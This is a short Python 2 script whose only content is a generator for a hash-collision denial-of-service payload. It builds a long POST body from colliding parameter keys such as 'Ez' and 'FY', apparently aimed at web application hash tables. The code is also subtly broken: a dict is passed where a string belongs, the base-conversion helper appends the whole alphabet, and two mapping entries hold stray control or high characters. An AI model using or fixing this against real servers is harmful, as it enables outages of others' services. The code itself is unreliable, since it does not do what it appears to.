import sys import math import urllib import string
def main(): payload = generatePayload() print("%s" % payload) def generatePayload(): #from:http://xuejiani.org/ a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)} length = 5 size = len(a) post = "" maxvaluefloat = math.pow(size,length) maxvalueint = int(math.floor(maxvaluefloat)) for i in range (maxvalueint): inputstring = base_convert(i, size) result = inputstring.rjust(length, '0') for item in a: result = result.replace(item, a) post += '' + urllib.quote(result) + '=&'
return post;
def base_convert(num, base): fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" alphabet = fullalphabet[:base] if (num == 0): return alphabet arr = [] base = len(alphabet) while num: rem = num % base num = num // base arr.append(alphabet) arr.reverse() return ''.join(arr)